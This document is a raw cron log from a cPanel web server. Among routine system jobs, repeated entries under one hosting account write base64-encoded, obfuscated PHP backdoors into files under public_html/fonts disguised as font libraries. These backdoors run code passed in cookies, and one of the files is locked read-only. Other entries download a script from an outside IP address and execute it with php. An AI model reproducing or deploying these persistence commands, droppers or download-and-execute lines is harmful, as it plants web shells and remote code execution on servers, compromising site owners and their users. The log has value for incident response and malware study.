Sep  9 11:38:01 ip-184-168-122-23 CROND[7760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:38:01 ip-184-168-122-23 CROND[7761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:39:01 ip-184-168-122-23 CROND[7918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:39:01 ip-184-168-122-23 CROND[7920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:39:01 ip-184-168-122-23 CROND[7922]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 11:39:01 ip-184-168-122-23 CROND[7921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:39:01 ip-184-168-122-23 CROND[7923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:40:01 ip-184-168-122-23 CROND[8077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:40:01 ip-184-168-122-23 CROND[8081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:40:01 ip-184-168-122-23 CROND[8084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:41:01 ip-184-168-122-23 CROND[8178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:41:01 ip-184-168-122-23 CROND[8181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:41:01 ip-184-168-122-23 CROND[8179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:41:01 ip-184-168-122-23 CROND[8180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:42:01 ip-184-168-122-23 CROND[8292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:42:01 ip-184-168-122-23 CROND[8293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:42:01 ip-184-168-122-23 CROND[8294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:42:01 ip-184-168-122-23 CROND[8298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:42:01 ip-184-168-122-23 CROND[8299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:43:01 ip-184-168-122-23 CROND[8517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:43:01 ip-184-168-122-23 CROND[8519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:43:01 ip-184-168-122-23 CROND[8518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:43:01 ip-184-168-122-23 CROND[8520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:44:01 ip-184-168-122-23 CROND[8645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:44:01 ip-184-168-122-23 CROND[8647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:44:01 ip-184-168-122-23 CROND[8650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:44:01 ip-184-168-122-23 CROND[8652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:44:01 ip-184-168-122-23 CROND[8648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:45:01 ip-184-168-122-23 CROND[8771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:45:01 ip-184-168-122-23 CROND[8772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:45:01 ip-184-168-122-23 CROND[8775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:45:01 ip-184-168-122-23 CROND[8778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:45:01 ip-184-168-122-23 CROND[8780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:45:01 ip-184-168-122-23 CROND[8779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:46:01 ip-184-168-122-23 CROND[8913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:46:01 ip-184-168-122-23 CROND[8915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:46:01 ip-184-168-122-23 CROND[8917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:46:01 ip-184-168-122-23 CROND[8919]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 11:46:01 ip-184-168-122-23 CROND[8918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:46:01 ip-184-168-122-23 CROND[8920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:46:01 ip-184-168-122-23 CROND[8916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:47:01 ip-184-168-122-23 CROND[9055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:47:01 ip-184-168-122-23 CROND[9058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:47:01 ip-184-168-122-23 CROND[9059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:47:01 ip-184-168-122-23 CROND[9057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:48:01 ip-184-168-122-23 CROND[9147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:48:01 ip-184-168-122-23 CROND[9149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:48:01 ip-184-168-122-23 CROND[9151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:48:01 ip-184-168-122-23 CROND[9150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:48:01 ip-184-168-122-23 CROND[9152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:49:01 ip-184-168-122-23 CROND[9278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:49:01 ip-184-168-122-23 CROND[9282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:49:01 ip-184-168-122-23 CROND[9280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:49:01 ip-184-168-122-23 CROND[9281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:50:01 ip-184-168-122-23 CROND[9514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:50:01 ip-184-168-122-23 CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
